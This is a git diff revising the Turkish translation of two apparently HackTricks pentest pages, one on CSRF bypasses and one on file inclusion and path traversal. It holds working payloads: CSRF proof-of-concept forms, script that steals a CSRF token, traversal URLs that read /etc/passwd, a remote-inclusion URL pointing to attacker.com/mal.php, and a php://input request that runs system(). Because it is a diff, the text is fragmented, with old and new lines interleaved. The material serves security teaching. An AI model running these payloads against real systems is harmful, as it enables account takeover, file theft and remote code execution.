Uygulamalar **CSRF token'larını kullanıcı oturumlarına bağlamıyorsa**, bu önemli bir **güvenlik riski** oluşturur. Bu sistemler, her token'ın başlatan oturumla bağlı olmasını sağlamak yerine, token'ları **küresel bir havuz** ile doğrular.
|
||||
|
||||
Saldırganların bunu nasıl istismar ettiğine dair:
|
||||
|
||||
1. **Kendi hesaplarıyla kimlik doğrulama** yaparlar.
|
||||
2. **Küresel havuzdan geçerli bir CSRF tokeni** alırlar.
|
||||
3. **Bu tokeni** bir kurbana karşı CSRF saldırısında kullanırlar.
|
||||
2. **Küresel havuzdan geçerli bir CSRF token'ı** alırlar.
|
||||
3. **Bu token'ı** bir kurbana karşı CSRF saldırısında kullanırlar.
|
||||
|
||||
Bu güvenlik açığı, saldırganların kurban adına yetkisiz istekler yapmasına olanak tanır ve uygulamanın **yetersiz token doğrulama mekanizmasını** istismar eder.
|
||||
|
||||
|
@ -97,18 +97,18 @@ Bu, **POST isteği içinde \_method parametresini** göndererek veya **başlıkl
|
|||
|
||||
### Özel başlık token atlatma
|
||||
|
||||
Eğer istek, **CSRF koruma yöntemi** olarak bir **token** ile birlikte **özel bir başlık** ekliyorsa, o zaman:
|
||||
Eğer istek, **CSRF koruma yöntemi** olarak isteğe bir **token** ile **özel başlık** ekliyorsa, o zaman:
|
||||
|
||||
* **Özelleştirilmiş Token ve başlık olmadan isteği test edin.**
|
||||
* **Tam aynı uzunlukta ama farklı bir token ile isteği test edin.**
|
||||
|
||||
### CSRF tokeni bir çerezle doğrulanıyor
|
||||
### CSRF token'ı bir çerezle doğrulanıyor
|
||||
|
||||
Uygulamalar, tokeni hem bir çerezde hem de bir istek parametresinde kopyalayarak veya bir CSRF çerezi ayarlayarak ve arka uçta gönderilen tokenin çerezle eşleşip eşleşmediğini doğrulayarak CSRF koruması uygulayabilir. Uygulama, istek parametresindeki tokenin çerezdeki değerle uyumlu olup olmadığını kontrol ederek istekleri doğrular.
|
||||
Uygulamalar, token'ı hem bir çerezde hem de bir istek parametresinde kopyalayarak veya bir CSRF çerezi ayarlayarak ve arka uçta gönderilen token'ın çerezle eşleşip eşleşmediğini doğrulayarak CSRF koruması uygulayabilir. Uygulama, istek parametresindeki token'ın çerezdeki değerle uyumlu olup olmadığını kontrol ederek istekleri doğrular.
|
||||
|
||||
Ancak, bu yöntem, bir saldırganın kurbanın tarayıcısında bir CSRF çerezi ayarlamasına izin veren hatalar varsa CSRF saldırılarına karşı savunmasızdır, örneğin bir CRLF açığı. Saldırgan, çerezi ayarlayan yanıltıcı bir resmi yükleyerek bunu istismar edebilir ve ardından CSRF saldırısını başlatabilir.
|
||||
|
||||
Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek verilmiştir:
|
||||
Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek bulunmaktadır:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
|
@ -125,20 +125,20 @@ Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Not edin ki eğer **csrf token oturum çerezi ile ilişkiliyse bu saldırı çalışmayacaktır** çünkü kurbanın oturumunu ayarlamanız gerekecek ve dolayısıyla kendinize saldırmış olacaksınız.
|
||||
Not edin ki eğer **csrf token oturum çerezi ile ilişkiliyse bu saldırı çalışmayacaktır** çünkü kurbanın oturumunu ayarlamanız gerekecek ve dolayısıyla kendinizi hedef almış olacaksınız.
|
||||
{% endhint %}
|
||||
|
||||
### Content-Type değişikliği
|
||||
|
||||
[**şuna**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) göre, **ön uç** isteklerini **POST** yöntemi kullanarak **önlemek** için izin verilen Content-Type değerleri şunlardır:
|
||||
[**şuna**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) göre, **ön uç** isteklerini **POST** yöntemi kullanarak önlemek için izin verilen Content-Type değerleri şunlardır:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
Ancak, kullanılan **Content-Type**'a bağlı olarak **sunucu mantığı değişebilir** bu yüzden belirtilen değerleri ve **`application/json`**, **`text/xml`**, **`application/xml`** gibi diğerlerini denemelisiniz.
|
||||
Ancak, kullanılan **Content-Type**'a bağlı olarak **sunucu mantığı değişebilir** bu yüzden belirtilen değerleri ve **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ gibi diğer değerleri denemelisiniz.
|
||||
|
||||
JSON verisini text/plain olarak gönderme örneği ( [buradan](https://brycec.me/posts/corctf\_2021\_challenges)):
|
||||
Örnek ( [buradan](https://brycec.me/posts/corctf\_2021\_challenges) ) JSON verisini text/plain olarak göndermenin:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -157,11 +157,11 @@ POST isteği aracılığıyla JSON verisi göndermeye çalışırken, bir HTML f
|
|||
|
||||
1. **Alternatif İçerik Türlerini Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, arka ucun içerik türüne bakılmaksızın veriyi kullanıp kullanmadığını test eder.
|
||||
2. **İçerik Türünü Değiştirme**: Sunucunun içeriği JSON olarak tanımasını sağlarken ön uç isteğinden kaçınmak için veriyi `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu, bir ön uç isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırılmışsa doğru bir şekilde işlenebilir.
|
||||
3. **SWF Flash Dosyası Kullanımı**: Daha az yaygın ama uygulanabilir bir yöntem, bu tür kısıtlamaları aşmak için bir SWF flash dosyası kullanmaktır. Bu tekniği daha derinlemesine anlamak için [bu gönderiye](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) başvurun.
|
||||
3. **SWF Flash Dosyası Kullanımı**: Daha az yaygın ama uygulanabilir bir yöntem, bu tür kısıtlamaları aşmak için bir SWF flash dosyası kullanmaktır. Bu tekniği daha derinlemesine anlamak için [bu gönderiye](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) bakabilirsiniz.
|
||||
|
||||
### Referrer / Origin kontrolünü aşma
|
||||
### Referans / Kaynak kontrolünü aşma
|
||||
|
||||
**Referrer başlığından kaçının**
|
||||
**Referans başlığından kaçının**
|
||||
|
||||
Uygulamalar, 'Referer' başlığını yalnızca mevcut olduğunda doğrulayabilir. Bir tarayıcının bu başlığı göndermesini önlemek için aşağıdaki HTML meta etiketi kullanılabilir:
|
||||
```xml
|
||||
|
@ -194,9 +194,9 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD yöntemi atlatma**
|
||||
### **HEAD yöntemi ile atlatma**
|
||||
|
||||
[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) bir yönlendiricinin **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlandığı açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir geçici çözümdür. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
|
||||
[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) bir yönlendiricinin **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlandığı açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir çözüm yoludur. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
|
||||
|
||||
Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**.
|
||||
|
||||
|
@ -204,7 +204,7 @@ Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir H
|
|||
|
||||
### **CSRF Token'ı Sızdırma**
|
||||
|
||||
Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/) açığını istismar ederek **sızdırmayı** deneyebilirsiniz.
|
||||
Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/) açığını kötüye kullanarak **sızdırmayı** deneyebilirsiniz.
|
||||
|
||||
### **HTML etiketleri kullanarak GET**
|
||||
```xml
|
||||
|
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
</iframe>
|
||||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **CSRF Token'ı çal ve bir POST isteği gönder**
|
||||
### **CSRF Token'ı Çal ve POST isteği gönder**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -503,7 +503,7 @@ document.getElementById("form").submit();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### CSRF with Socket.IO
|
||||
### Socket.IO ile CSRF
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -584,7 +584,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -597,7 +597,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -51,10 +51,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
Ayrıca `/`'yi `\` ile değiştirmeyi deneyin.\
|
||||
Ayrıca `/` yerine `\` kullanmayı deneyin.\
|
||||
Ayrıca `../../../../../` eklemeyi deneyin.
|
||||
|
||||
Açıklığın var olup olmadığını kontrol etmek için /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir.
|
||||
Açığın var olup olmadığını kontrol etmek için /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir.
|
||||
|
||||
### **Windows**
|
||||
|
||||
|
@ -62,10 +62,10 @@ Farklı kelime listelerinin birleştirilmesi:
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
Ayrıca `/`'yi `\` ile değiştirmeyi deneyin.\
|
||||
Ayrıca `C:/`'yi kaldırmayı ve `../../../../../` eklemeyi deneyin.
|
||||
Ayrıca `/` yerine `\` kullanmayı deneyin.\
|
||||
Ayrıca `C:/` kaldırmayı ve `../../../../../` eklemeyi deneyin.
|
||||
|
||||
Açıklığın var olup olmadığını kontrol etmek için /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir.
|
||||
Açığın var olup olmadığını kontrol etmek için /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir.
|
||||
|
||||
### **OS X**
|
||||
|
||||
|
@ -85,7 +85,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Verilen dizeye daha fazla karakter ekleme işlemini atlatın (bypass of: $\_GET\['param']."php")
|
||||
Verilen dizeye daha fazla karakter ekleme işlemini atlatın (atlatma: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
@ -108,7 +108,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
```
|
||||
### Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme
|
||||
|
||||
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
|
||||
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyalar değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
|
||||
|
||||
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösteren aşağıdaki gibi yapılandırılabilir:
|
||||
```bash
|
||||
|
@ -129,7 +129,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
|
||||
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna eklenen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
|
||||
|
||||
PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin:
|
||||
|
||||
|
@ -137,7 +137,7 @@ PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri
|
|||
* Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedeflenen dosyayı değiştirmez.
|
||||
* Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmeyecektir.
|
||||
|
||||
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için yol kısaltma nasıl kullanılacağını göstermektedir:
|
||||
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için path truncation nasıl kullanılacağını göstermektedir:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -150,7 +150,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
|
||||
|
||||
* **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
|
||||
* **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin tam sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
|
||||
* **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
|
||||
* **Sahte Bir Dizinle Başlama**: Yolu mevcut olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
|
||||
|
||||
Yol kısaltma teknikleri kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
|
||||
|
@ -172,7 +172,7 @@ PHP'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`**
|
|||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Eğer bir sebepten dolayı **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
Eğer bir nedenle **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -210,7 +210,7 @@ Bu, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join)
|
|||
|
||||
## Java Dizinlerini Listele
|
||||
|
||||
Java'da bir Path Traversal varsa ve bir **dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
Görünüşe göre, Java'da bir Path Traversal varsa ve bir **dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
|
||||
## En İyi 25 parametre
|
||||
|
||||
|
@ -253,7 +253,7 @@ PHP filtreleri, veriler okunmadan veya yazılmadan önce **veriler üzerinde tem
|
|||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
|
||||
* Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın
|
||||
* Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın.
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
|
@ -262,7 +262,7 @@ PHP filtreleri, veriler okunmadan veya yazılmadan önce **veriler üzerinde tem
|
|||
* `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
`convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** oluşturabilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) sayfasına bakın.
|
||||
`convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) sayfasına bakın.
|
||||
{% endhint %}
|
||||
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -274,7 +274,7 @@ PHP filtreleri, veriler okunmadan veya yazılmadan önce **veriler üzerinde tem
|
|||
* Diğer Filtreler
|
||||
* php'de `var_dump(stream_get_filters());` çalıştırarak birkaç **beklenmedik filtre** bulabilirsiniz:
|
||||
* `consumed`
|
||||
* `dechunk`: HTTP parçalı kodlamasını tersine çevirir
|
||||
* `dechunk`: HTTP chunked kodlamasını tersine çevirir
|
||||
* `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
|
@ -308,19 +308,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
|
||||
### Rastgele dosyaları okumak için php filtrelerini oracle olarak kullanma
|
||||
|
||||
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, **php filtrelerini oracle olarak kullanarak dosyanın boolean sızdırılması (karakter karakter)** esasına dayanmaktadır. Bunun nedeni, php filtrelerinin bir metni yeterince büyütmek için kullanılabilmesidir, böylece php bir istisna fırlatır.
|
||||
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, **php filtrelerini** oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyük hale getirmek için kullanılabilmesidir.
|
||||
|
||||
Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet:
|
||||
|
||||
* Metnin başındaki karakteri bırakmak ve dize boyutunu üssel olarak artırmak için **`UCS-4LE`** codec'ini kullanın.
|
||||
* Bu, **ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için** kullanılacak ki php bir **hata** tetikleyecek.
|
||||
* **Dechunk** filtresi, **ilk karakter bir onaltılık değilse her şeyi kaldıracaktır**, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
|
||||
* Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacak, çünkü yeterince dönüşüm yaptığımızda artık onaltılık bir karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecek.
|
||||
* **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, ilk harfin `a` olup olmadığını keşfetmemizi sağlar, çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık onaltılık bir karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
* Bu, **ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için** kullanılacak ki php bir **hata** tetikleyecektir.
|
||||
* **Dechunk** filtresi, **ilk karakter onaltılık değilse her şeyi kaldıracaktır**, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
|
||||
* Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda onaltılık bir karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
|
||||
* **convert.iconv.UNICODE.CP930** codec'i, her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık onaltılık bir karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
* Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
|
||||
* İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
|
||||
* Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri almak mümkündür.
|
||||
* Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen sızıntıya ulaşana kadar bunu yapmaya devam edin.
|
||||
* Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin.
|
||||
|
||||
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
|
@ -378,7 +378,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -395,7 +395,7 @@ Upon execution, a file named `test.phar` will be created, which could potentiall
|
|||
|
||||
